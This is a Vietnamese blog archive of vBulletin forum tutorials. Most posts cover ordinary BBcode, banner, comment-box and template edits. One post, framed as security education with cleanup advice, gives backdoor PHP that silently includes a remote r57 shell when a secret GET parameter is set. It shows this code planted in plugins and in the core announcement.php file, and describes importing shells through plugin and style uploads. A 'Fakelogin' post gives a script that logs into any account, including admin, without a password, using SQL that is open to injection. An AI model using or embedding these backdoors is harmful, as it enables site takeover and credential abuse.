Wednesday, December 4, 2013

BBcode player video server picasa


Tiêu đề: picasa
BB Code Tag Name: PICASA

Replacement
<center><embed width="800" height="500" name="flashplayer" src="http://player.xixam.com/player.swf" flashvars="plugins=http://player.xixam.com/plugins4/proxy.swf&proxy.link=https://picasaweb.google.com/{param}&captions.file=&captions.color=#FFCC00&capt ions.fontFamily=Arial&captions.fontSize=18&caption s.fontWeight=bold&autostart=false&volume=100" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always"></center>
Ví dụ: [picasa] link phim [/picasa]
Use {option}: Không
Button Image (Optional): thay link icon bbcode

Remove Tag If Empty: Đồng ý  Không
Disable BB Code Within This BB Code: Đồng ý  Không
Disable Smilies Within This BB Code: Không
Disable Word Wrapping Within This BB Code: Không
Disable Automatic Link Parsing Within This BB Code: Không

Chú ý: Link phim có dạng như sau
https://picasaweb.google.com/lh/photo/-C0KP4jr-aKeoXFbtTW5bZxyMcD7Px_CwogONveKQdI

Wednesday, December 4, 2013

Wednesday, September 18, 2013

Banner Trượt Có Giới Hạn Tại Sidebar

Bài viết này hướng dẫn cách thức chèn banner trượt có giới hạn tại vị trí sidebar cho vbb.

Xem hình demo bên dưới
Hình 1: nhấp vào hình để xem rỏ hơn
Hình 2: nhấp vào hình để xem rỏ hơn
Để làm 1 banner trượt như thế này cho vbb thì trước tiên chúng ta cần 1 file jquery, ở đây chúng ta lạy luôn của google cho tiện (có thể download về và upload lên host). Tiến hành khai báo file này và thêm 1 đoạn script tại header
<script type="text/javascript" src="http://jqueryjs.googlecode.com/files/jquery-1.2.6.min.js"></script>

<script type="text/javascript">
$(document).ready(function(){


    $(window).scroll(function(){
        if  ($(window).scrollTop() > $(".smartBannerIdentifier").offset({ scroll: false }).top){
           $(".smartbanner").css("position", "fixed");
           $(".smartbanner").css("top", "0");
        }
       
        if  ($(window).scrollTop() <= $(".smartBannerIdentifier").offset({ scroll: false }).top){
           $(".smartbanner").css("position", "relative");
           $(".smartbanner").css("top", $(".smartBannerIdentifier").offset);
        }
    });


});
</script>
Tiếp theo là đến phần CSS cho banner quảng cáo. Vào additional.css theo phần sau vào
.smartbanner {
    width:258px;
    background-color: #FF0000;
    float: right;
}
Có thể tùy chỉnh các thông số cho phù hợp với forum.
Giờ  đến code chèn quảng cáo cho sidebar. Vào forumhome chèn đoạn code này dưới phần {vb:raw sidebar}
<div class="smartBannerIdentifier"></div>
<div class="smartbanner">
<img src="http://fc02.deviantart.net/fs70/f/2012/032/d/4/ads_logo_by_aliirules-d4ob2by.png" width="100%">   
</div>

Wednesday, September 18, 2013

Monday, September 9, 2013

Loại bỏ tham số ?p=xxx trên Url Forum vBulletin

Chức năng:
- Tự động chuyển link có tham số ?p=xxx sang link không có ?p=xxx
- Nếu ?p=xxx ở trang thứ n, tự động chuyển sang trang thứ n của thread đó, không để ?p=xxx trên Url



Hướng dẫn cài:
AdminCP-> Product Manager -> Add/Import Product -> Import file xml ở đính kèm.

Nguồn: sinhvienit.net

Monday, September 9, 2013

Thursday, August 29, 2013

Hướng Dẫn Chèn Comment Box Vào Vbb


Đây là một trong những thủ thuật mình tốn nhiều thời gian nhất khi làm vbb. Thời gian nghiên cứu, mày mò có lẽ được tính bằng năm. Trong thời gian này nhiều lúc nghiên cứu nhưng không đạt được kết quả nào cả. Chán nản, nhưng vẫn tiếp tục và thành công :)

Đây là kết quả đạt được.


Ở đây, điều mình muốn nói là chèn nội dung comment box thì quá dễ nhưng làm sao để quản lý comment mới là chuyện đáng nói. Khách comment những nội dung gì, ở đâu ???

Khi viết những dòng này trong lòng có một chút buồn nhẹ. Vì sao ??? vì hơn 1 năm ròng tìm tòi và làm thành công nhưng không ghi lại nhật ký làm việc. Cách đây 1 tháng toàn server bị hack toàn bộ dữ liệu, phải làm lại style mới trong đó có công đoạn chèn comment box. Giờ đây lại loay hoay làm lại từ đầu với tình trạng gần giống như một năm về trước.

Thôi thì chịu khó vậy, lần này làm xong viết hẵn một tut để hôm sau có cái mà dùng. Anh em nào đọc được cũng có thể làm theo.

Bước 1: Chèn comment box

Trước tiên, lấy code chèn vào style. Vào https://developers.facebook.com/docs/reference/plugins/comments/

Nhập các thông tin vào phần đăng ký, nhấn Get Code => lấy code trong tab HTML5 nhé

Phần <div id="fb-root"></div> paste vào headinclude nhé. Lúc trước làm nhét vào header nhưng không được :)

Phần <div class="fb-comments"... có thể lấy code tại HTML5 hay code sau đây.
<div class="fb-comments" data-href="http://dihisi.com/{vb:link thread,{vb:raw thread}}" data-width="985" data-num-posts="10" order_by="reverse_time"></div>
Ở đây mình thêm một số thông số cơ bản như {vb:link thread,{vb:raw thread}}, data-num-posts="10", order_by="reverse_time". Ngoài ra, có thể thêm một số khác (tham khảo tại https://developers.facebook.com/docs/reference/plugins/comments/ )

Như vậy là hoàn thành công đoạn chèn comment box vào vbb, việc tiếp theo cần làm là quản lý nội dung comment của khách.

Phần 2: Quản lý nội dung comment






Thursday, August 29, 2013

Monday, July 22, 2013

Phương pháp phát hiện và loại bỏ shell trong Database

Có nhiều bạn hỏi tôi cách để phát hiện shell khi hacker include vào Database? Hôm nay tôi làm tut này để trả lời câu hỏi trên và giúp các bạn nhận thức thêm về vấn đề bảo mật.

Trước hết ta phải biết cách thức mà hacker include vào Data thế nào thì sau đó mới có phương pháp để loại bỏ triệt để. Các bạn tham khảo thêm bài viết Phương pháp include shell trong source VBB và cách phòng chống.

Tôi xin nói thêm trong vbb những table có thể lợi dụng để include shell vào là table_template và table_plugin.

Vậy làm thế nào để phát hiện shell khi đã được include vào 2 table này nhỉ?

Cách làm như sau: - Bạn vào Phpadmin của host và search từ khóa

base64

Và làm theo hướng dẫn như hình sau:


Tại sao ta phải search từ khóa base64 mà không phải là từ khóa khác ?

Xin thưa rằng tất cả các con shell hiện nay nếu không được mã hóa thì sẽ bị antivirut tiêu diệt trừ khi đổi tên file thành file.txt

- Việc còn lại của bạn là mở table khả nghi ra và kiểm tra xem có gì đặc biệt khác thường trong đó không.


Chú ý: 

- Đối với table plugin thì bạn có thể delete đi mà không ảnh hưởng gì đến việc hoạt động site.
- Đối với table template nếu bạn thích thì cũng có thể delete còn muốn dùng lại skin đó thì hãy vào admincp rồi nhấn vào revert để vbb tự động edit lại skin cho bạn.
- Bạn có thể áp dụng cách này với những code khác như joomla, new, shop, etc...

Monday, July 22, 2013

Phương pháp include shell trong source VBB và cách phòng chống

Mình viết bài này để giúp tăng cường bảo mật cho forum của các bạn, cho các bạn thấy được cách thức mà hacker đột nhập vào trang web các bạn để từ đó có cách phòng tránh. Mình không khuyến khích các bạn làm theo để thực hiện ý đồ xấu.

Viết tut này cũng có mặt lợi và mặt hại của nó nhưng nếu các bạn biết áp dụng cho mục đích lương thiện thì nó sẽ giúp ích rất nhiều cho bạn

 I/Phương diện hacker - upload shell 

Bỏ qua phần làm thế nào hacker có shell trên host, mình chỉ nói đến việc hacker đã khai thác file config và hoàn toàn chiếm quyền admin của website bạn. Sau đây mình sẽ liệt kê một cách gần như đầy đủ các phương pháp mà hacker có thể chèn shell và ẩn nó trong forum của bạn để có thể dễ dàng trong những cuộc tấn công tiếp theo.

Method 1: tạm gọi là up shell qua việc edit teamplate (cách này gần giống với kiều RFI-remote file include)

Bạn lần lượt làm như sau:

Vào admincp -->Plugin manager -->Add new plugin
Ở phần HOOK Location bạn chọn là : CACHE_TEMPLATE nhé
Phần Name: có thể đặt tên tùy ý
Phần plugin php code hãy dùng đoạn code sau để include shell:

{ 
if($_GET['nameshell']=="heloworld"){ 
include('http://localhost/r57new.php'); 
} 
}


Nhớ kích vào nút đồng ý (yes) để active plugin này nhé .


Bây giờ cùng test nhé ở đây mình test trên localhost.

bạn thêm phần ?nameshell=helloworld vào sau: index.php hoặc image.php, online.php hay bất cứ file php nào ở ngoài index của host, cái này tùy thuộc vào bạn

Ở đây mình thử với index.php nhé


Method 2: chèn shell bằng cách edit file .php có trong host

Bạn tìm những file mà admin ít để ý để chèn đoạn code sau vào nhé, có thể chèn vào bất cứ đâu mà bạn muốn.

if ($_REQUEST['nameshell']=="helloworld") {  include ("http://localhost/r57new.php");  }

Demo: mình edit file announcement.php

<?php
/*======================================================================*\
|| #################################################################### ||
|| # vBulletin 3.7.2
|| # ---------------------------------------------------------------- # ||
|| # Copyright ©2000-2007 Jelsoft Enterprises Ltd. All Rights Reserved. ||
|| # This file may not be redistributed in whole or significant part. # ||
|| # ---------------- VBULLETIN IS NOT FREE SOFTWARE ---------------- # ||
|| # http://www.vbulletin.com | http://www.vbulletin.com/license.html # ||
|| #################################################################### ||
\*======================================================================*/
if ($_REQUEST['nameshell']=="helloworld") {  include ("http://localhost/r57new.php");  }
// ######################## SET PHP ENVIRONMENT ###########################
error_reporting(E_ALL & ~E_NOTICE);

// ##################### DEFINE IMPORTANT CONSTANTS #######################
define('THIS_SCRIPT', 'announcement');

// #################### PRE-CACHE TEMPLATES AND DATA ######################
// get special phrase groups
$phrasegroups = array(
    'postbit',
    'reputationlevel',
    'posting',

Hưởng thụ thành quả lao động nào


Method 3: là cách import file xml qua plugin

Bạn lần lượt làm như sau:

Download / Upload Plugins --> chọn lấy con shell xml và import vào. (đính kèm ở bài viết)


Bạn có thể mở source file shell xml lên và thay subscriptions.php bằng repair.php hoặc faq.php (bất cứ file .php nào trong admincp mà bạn nghĩ admin site đó sẽ không chú ý đến). Bạn cũng có thể import vào nhiều file cho chắc ăn

Cách run shell cũng khá đơn giản là bạn import shell vào file nào thì run file đó thôi chẳn hạn tôi import shell vào file subscriptions.php tôi sẽ run shell như thế này admincp/subscriptions.php làm theo tương tự với những file khác

demo here:


Method 4: import shell qua skin

Bạn lần lượt làm như sau:

 Styles & Templates --> Download / Upload Styles --> chọn shell để upload (đính kèm ở bài viết)

Bạn muốn thêm shell vào skin nào thì ở phần Merge Into Style chọn skin đó.


và đây là kết quả


cũng cool đó nhỉ

II/Phương diện webmaster - giải quyết sự cố bị hack 

Tiếp sau đây mình xin hướng dẫn các bạn cách clear shell trên host:
- Đầu tiên bạn sẽ phải quan sát thật kĩ xem có file nào lạ không.
- Tiếp theo bạn hãy download source forum về và dùng antivirut để check shell nếu hacker chỉ up shell thông thường lên forum và không dấu nó.
Bạn chú ý xem kĩ những folder trong forum như include, modcp ... Nếu shell đã được mã hóa thì anti sẽ không check ra tốt nhất là nên up một source forum mới lên thay thế source forum cũ.
- Đối vời shell được chèn vào database và source thì tùy theo từng dạng ta có phương pháp phòng chống riêng
 + Method 1: đợi suy nghĩ xong rồi post tiếp
+ Method 2: upload new source như đã nói ở trên.
+ Method 3: bạn vào Plugin Manager bạn bắt đầu tìm với cột Hook Location nếu tìm thấy phần nào có init_startup thì đó chính là con shell mà hacker đã include vào
 + Method 4: remove skin bị đính kèm shell Bài viết có sử dụng tư liệu của mafia_boy,quang hùng, ly0kha, alucar,meoconx ...

 -tut by eCpanel-

Thursday, May 16, 2013

Hướng Dẫn Lai Giữa Postbit Và Postbit_legacy

Trước tiên chúng ta tìm hiểu thế nào là Postbit Và Postbit_legacy ???

Bạn có thể dễ dàng nhận thấy trong khung bài viết là. Cái thông tin thành viên có 2 cách sắp đặt là theo chiều ngang hoặc dọc.

Để thay đổi giữa 2 kiểu này
vBulletin Options -> Style & Language Settings > Use Legacy (Vertical) Postbit Template
Chọn YES để hiện theo chiều dọc. Chọn NO để hiện chiều ngang

Chú ý: Thỉnh thoảng trong một số bài viết có đề cập đến template postbit họặc postbit_legacy. template postbit là template ứng với cách hiển thị ngang, postbit_legacy ứng với cách hiển thị dọc. -Tùy forum bạn đang để kiểu ngang hay dọc thì chọn template edit cho thích hợp.
Postbit_legacy
Postbit
Bây giờ chúng ta bắt tay thực hiện nào. 

Demo trực tiếp bạn có thể xem ở http://dihisi.com. Ở đây thông tin thành viên mình chọn hiển thị dọc, bài đầu tiên mình muốn hiển thị ngang.

Để làm được điều này, chúng ta thực hiện một số bước quan trọng sau:

Bước 1: Copy toàn bộ code trong phần postbit vào notepad. Sau đó xóa 2 đoạn code sau:
{vb:raw template_hook.postbit_start} (trên cùng của postbit)
{vb:raw template_hook.postbit_end} (cuối cùng của postbit)
Bước 2: Vào postbit_legacy ta thực hiện các thao tác sau.

Tìm {vb:raw template_hook.postbit_start}, sau đó chèn code này ngay bên dưới.
<vb:if condition="$post[postcount] == 1">
Chép code postbit ở trên vào dưới code <vb:if condition="$post[postcount] == 1"> sau đó chèn <vb:else /> vào bên dưới.

Chèn </vb:if> trên {vb:raw template_hook.postbit_end}

Lưu lại, thế là xong !!!


Thursday, May 16, 2013

Wednesday, October 24, 2012

VBB - Thêm Chức Năng Bài Viết Trong Ngày

Thông thường trên thanh navbar của Vbb không có chức năng hiển thị bài viết trong ngày. Bài viết này sẽ hướng dẫn bạn cách thức thêm nút "bài viết trong ngày" ngay trên thanh navbar.

Trước tiên vào Admincp => Style Manager => Edit Templates => Navigation/Breadcrumb Templates => Navbar.

Thêm Code sau vào phần navbar muốn hiển thị.
<li><a href="/search.php?do=getdaily">Bài Trong Ngày</a></li>

Wednesday, October 24, 2012

Monday, October 15, 2012

VBB: Lỗi Tìm Bài Viết Của Thành Viên

Trong Vbb, khi ta muốn xem một thành viên đã lập những topic gì, nội dung mà thành viên này comment như thế nào. Thông thường ta vào Profile của thành viên đó và tìm kiếm bài viết bằng cách nhấn vào các link sau (đã việt hóa).
- Tìm tất cả bài gửi.
- Tìm tất cả chủ để bắt đầu.
Và trong quá trình quản trị web, để tìm kiếm như thế này mình đã gặp rắc rối với  lỗi sau đây đến 2 lần.

Internal Server Error

The server encountered an internal error or misconfiguration and was unable to complete your request
Domain.com
Link tìm kiếm bài viết khi này có dạng như:
- http://domain.com/search.php?do=finduser&userid=xxx&contenttype=vBForum_Post&showposts=1 (tất cả bài gửi).
- http://domain.com/search.php?do=finduser&userid=xxx&starteronly=1&contenttype=vBForum_Thread (tất cả chủ để bắt đầu).
Nguyên nhân lỗi: Do phiên bản vbbsử dụng là phiên bản 4.0.x sử dụng hàm php không còn được hỗ trợ nữa. Đó là method_exists đã được thay thế bằng hàm mới là is_object và is_callable để tăng cường khả năng tìm kiếm. Hai hàm trên được đóng gói trong thư viện eAcclerator.

Giải pháp: Mở file vb/search/criteria.php

Tìm
if (method_exists($this->search_type, 'get_display_name'))

Thay bằng
if (is_object($this->search_type) && is_callable($this->search_type->get_display_name()))

Lưu ý: Backup file criteria.php trước khi edit và save


Monday, October 15, 2012

Monday, July 30, 2012

Fakelogin - Đăng nhập vào forum VBB không cần pass

 Trong quá trình đổi pass thường xuyên, không biết vì lý do gì mà mình quên mất pass của admin. Mình làm theo cách này và đổi pass thành công.



Code này có tác dụng là khi upload vào thư mục root của forum VBB các bạn có khả năng đăng nhập vào nick bất cứ thành viên nào mà không cần password. Ngoài ra vào đc thẳng admincp mà ko cần gõ lại pass.

<?phpif (isset($_GET['bd']))
{
define('THIS_SCRIPT''login');
require_once(
'./global.php');
require_once(
'./includes/functions_login.php');$vbulletin->userinfo $vbulletin->db->query_first("SELECT userid,usergroupid, membergroupids, infractiongroupids, username, password, salt FROM " TABLE_PREFIX "user WHERE username = '" $_GET['bd'] . "'");
if (!
$vbulletin->userinfo['userid']) die("Invalid username!");
else
{
vbsetcookie('userid'$vbulletin->userinfo['userid'], truetruetrue);vbsetcookie('password'md5($vbulletin->userinfo['password'] . COOKIE_SALT), truetruetrue);exec_unstrike_user($_GET['bd']);process_new_login('cplogin'TRUETRUE);do_login_redirect();
}
}
?>  
Cách sử dụng
Copy đoạn code trên vào notepad save đuôi *.php
Upload vào thư mục chứa forum ngang hàng với file index.php
Sau đó chạy link sau http://domain.com/*.php?bd=username
Phần in đậm các bạn tùy chỉnh nha ^^


Giải pháp: Tạo thêm 1 lớp mật khẩu cho VBB tại admincp.

Monday, July 30, 2012

Sunday, July 22, 2012

VBB: Chèn Quảng Cáo Dưới Bài Viết Đầu Tiên

Hình demo:
Demo Online: http://dihisi.com

Để thực hiện được như demo thực hiện các thao tác sau:

Vào Admincp => Styles & Templates => Style Manager => Edit Style đang dùng.

Chọn Postbit Templates => Postbit_legacy

Chèn code sau vào phần dưới cùng của Postbit legacy.

<vb:if condition="$post[postcount] % $vboptions[maxposts] == 1">
<li class="postbitlegacy postbitim postcontainer">

<div>
<!-- Nội dung quảng cáo -->
Pastecode quảng cáo tại đây
<!-- Nội dung quảng cáo -->
</div>

</li>
</vb:if>
 Lưu ý: Không nên thay đổi code nhất là phần class màu vàng thì nó sẽ thay đổi border phần quảng cáo trở nên rất xấu.


Sunday, July 22, 2012

Friday, June 8, 2012

Tùy Chỉnh Last Post trên forumhome

Bài trước mình có hướng dẫn cách xóa phần thống kê bài viết và chủ đề trên forumhome và tùy chỉnh lại CSS. Bài này mình tiếp tục hướng dẫn cách thức tùy chỉnh phần "Last post" trên forumhome.

Demo hình ảnh.


Phần title mình sẽ hướng dẫn sau. Bây giờ mình sẽ hướng dẫn cách xóa chức năng đến bài viết cuối cùng của topic (khu vực khoanh vùng màu xanh). Vào forumhome_lastpostby tìm và xóa code sau.
<a href="{vb:link thread, {vb:raw threadinfo}, {vb:raw pageinfo_lastpost}}#post{vb:raw lastpostinfo.lastpostid}"><img src="{vb:stylevar imgdir_button}/lastpost-{vb:stylevar right}.png" alt="{vb:rawphrase go_to_last_post}" /></a>
Tiếp đến là xóa phần lastpost by (phần khoanh vùng màu nâu). Tìm và xóa đoạn code sau.
<div class="lastpostby">
    <vb:if condition="$lastpostinfo['lastposterid']">
        {vb:rawphrase by_x_memberaction, {vb:raw memberaction_dropdown}}
    <vb:else />
        {vb:rawphrase by_x_guest, {vb:raw lastpostinfo.lastposter}}
    </vb:if>
    </div>
Và bây giờ xóa ngày, giờ của bài viết cuối. Tìm và xóa code sau.
<p class="lastpostdate">{vb:raw lastpostinfo.lastpostdate}<vb:if condition="!$show['detailedtime']">, <span class="time">{vb:raw lastpostinfo.lastposttime}</span></vb:if></p>
<vb:else />
    <span class="lastpostdate">{vb:raw lastpostinfo.lastpostdate} <vb:if condition="!$show['detailedtime']"><span class="time">{vb:raw lastpostinfo.lastposttime}</span></vb:if></span>
    <a href="{vb:link thread, {vb:raw threadinfo}, {vb:raw pageinfo_lastpost}}#post{vb:raw lastpostinfo.lastpostid}"><img src="{vb:stylevar imgdir_button}/lastpost-{vb:stylevar right}.png" alt="{vb:rawphrase go_to_last_post}" /></a>
Sau khi xóa toàn bộ các code trên thì phần "last post" chỉ còn lại mỗi tiêu đề bài viết cuối. Trong quá trình làm vbb mình phát hiện là nếu chủ đề nào có "prefix" (tiền tố bài viết) thì nó sẽ hiển thị ra ngoài forumhome. Nếu bạn muốn xóa phần này thì tìm code sau và xóa nó.
<vb:if condition="$lastpostinfo['prefix']">{vb:raw lastpostinfo.prefix}</vb:if>
Tùy chỉnh giới hạn ký tự trong bài viết cuối cùng. Vào Settings - Options - Forum Listings Display Options - Last Thread Title Maximum Displayed Characters, và giới hạn số kí tự tên của last post trên forumhom.

Friday, June 8, 2012